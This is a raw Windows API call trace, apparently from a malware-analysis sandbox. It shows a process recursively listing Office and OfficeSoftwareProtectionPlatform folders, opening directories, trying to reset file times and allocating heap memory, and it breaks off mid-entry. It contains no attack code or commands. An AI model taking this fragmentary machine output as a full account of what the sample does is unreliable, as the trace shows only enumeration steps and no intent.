1 [0054.101] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7238) returned 1 [0054.101] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0054.101] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="")) returned 0 [0054.101] GetLastError () returned 0x12 [0054.101] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e6d10) returned 1 [0054.101] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0054.101] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e6c08) returned 1 [0054.101] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e66e0) returned 1 [0054.101] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6bc953f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x2560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1 [0054.101] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x4d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPHPROXY.DLL", cAlternateFileName="")) returned 1 [0054.101] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPTINPS.DLL", cAlternateFileName="")) returned 1 [0054.102] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1570ec00, ftCreationTime.dwHighDateTime=0x1cbc479, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1570ec00, ftLastWriteTime.dwHighDateTime=0x1cbc479, nFileSizeHigh=0x0, nFileSizeLow=0xb7ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJ11OD11.DLL", cAlternateFileName="")) returned 1 [0054.102] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a461000, ftCreationTime.dwHighDateTime=0x1cb7018, ftLastAccessTime.dwLowDateTime=0xe5d47680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9a461000, ftLastWriteTime.dwHighDateTime=0x1cb7018, nFileSizeHigh=0x0, nFileSizeLow=0x3fb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJRESC.DLL", cAlternateFileName="")) returned 1 [0054.102] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bd800, ftCreationTime.dwHighDateTime=0x1cb71c8, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74bd800, ftLastWriteTime.dwHighDateTime=0x1cb71c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJRES.DLL", cAlternateFileName="")) returned 1 [0054.102] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a199a00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xdac16060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a199a00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICHED20.DLL", cAlternateFileName="")) returned 1 [0054.102] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7339ac00, ftCreationTime.dwHighDateTime=0x1cbdfc2, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7339ac00, ftLastWriteTime.dwHighDateTime=0x1cbdfc2, nFileSizeHigh=0x0, nFileSizeLow=0x90778, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERCONV.DLL", cAlternateFileName="")) returned 1 [0054.102] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded68100, ftCreationTime.dwHighDateTime=0x1cb5970, ftLastAccessTime.dwLowDateTime=0xd68d72e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xded68100, ftLastWriteTime.dwHighDateTime=0x1cb5970, nFileSizeHigh=0x0, nFileSizeLow=0xc6b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="USP10.DLL", cAlternateFileName="")) returned 1 [0054.102] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xc150, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBAJET32.DLL", cAlternateFileName="")) returned 1 [0054.102] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 1 [0054.102] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 0 [0054.102] GetLastError () returned 0x12 [0054.102] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0054.102] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0054.102] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0054.102] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.102] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="")) returned 1 [0054.102] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0054.102] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0054.102] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9eea98 [0054.102] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0054.102] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0054.102] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0054.102] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9f0978 [0054.103] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9f0978, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9f0978, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0054.103] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f0978) returned 1 [0054.103] NtClose (Handle=0x160) returned 0x0 [0054.103] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9eea98) returned 1 [0054.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0054.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9eea98 [0054.103] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0054.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9eeba0 [0054.103] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0054.104] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.104] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x24500, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPC.DLL", cAlternateFileName="")) returned 1 [0054.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0054.104] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0054.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0054.104] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0054.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0054.104] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0054.104] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59922e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x1be700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPCEXT.DLL", cAlternateFileName="")) returned 1 [0054.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0054.104] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0054.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0054.104] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0054.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0054.104] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0054.104] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="osppobjs-spp-plugin-manifest-signed.xrm-ms", cAlternateFileName="")) returned 1 [0054.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0054.104] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0054.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0054.104] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0054.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0054.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9eeca8 [0054.104] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e83a0 [0054.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9eedb0 [0054.104] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0054.105] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x212b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPOBJS.DLL", cAlternateFileName="")) returned 1 [0054.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0054.105] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0054.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0054.105] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0054.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0054.105] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0054.105] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf332800, ftCreationTime.dwHighDateTime=0x1cabc8a, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf332800, ftLastWriteTime.dwHighDateTime=0x1cabc8a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPREARM.EXE", cAlternateFileName="")) returned 1 [0054.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0054.105] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0054.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0054.105] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0054.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0054.105] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0054.105] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4b2700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPSVC.EXE", cAlternateFileName="")) returned 1 [0054.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0054.105] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0054.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0054.105] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0054.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0054.105] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0054.123] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x23b10, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.DLL", cAlternateFileName="")) returned 1 [0054.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0054.123] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0054.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0054.123] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0054.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0054.123] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0054.123] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 1 [0054.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0054.123] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0054.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0054.123] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0054.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0054.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e83c0 [0054.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9eeeb8 [0054.123] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0054.123] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 0 [0054.124] GetLastError () returned 0x12 [0054.124] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0054.124] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0054.124] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.124] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x24500, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPC.DLL", cAlternateFileName="")) returned 1 [0054.124] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59922e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x1be700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPCEXT.DLL", cAlternateFileName="")) returned 1 [0054.124] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="osppobjs-spp-plugin-manifest-signed.xrm-ms", cAlternateFileName="")) returned 1 [0054.124] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x212b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPOBJS.DLL", cAlternateFileName="")) returned 1 [0054.124] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf332800, ftCreationTime.dwHighDateTime=0x1cabc8a, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf332800, ftLastWriteTime.dwHighDateTime=0x1cabc8a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPREARM.EXE", cAlternateFileName="")) returned 1 [0054.124] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, 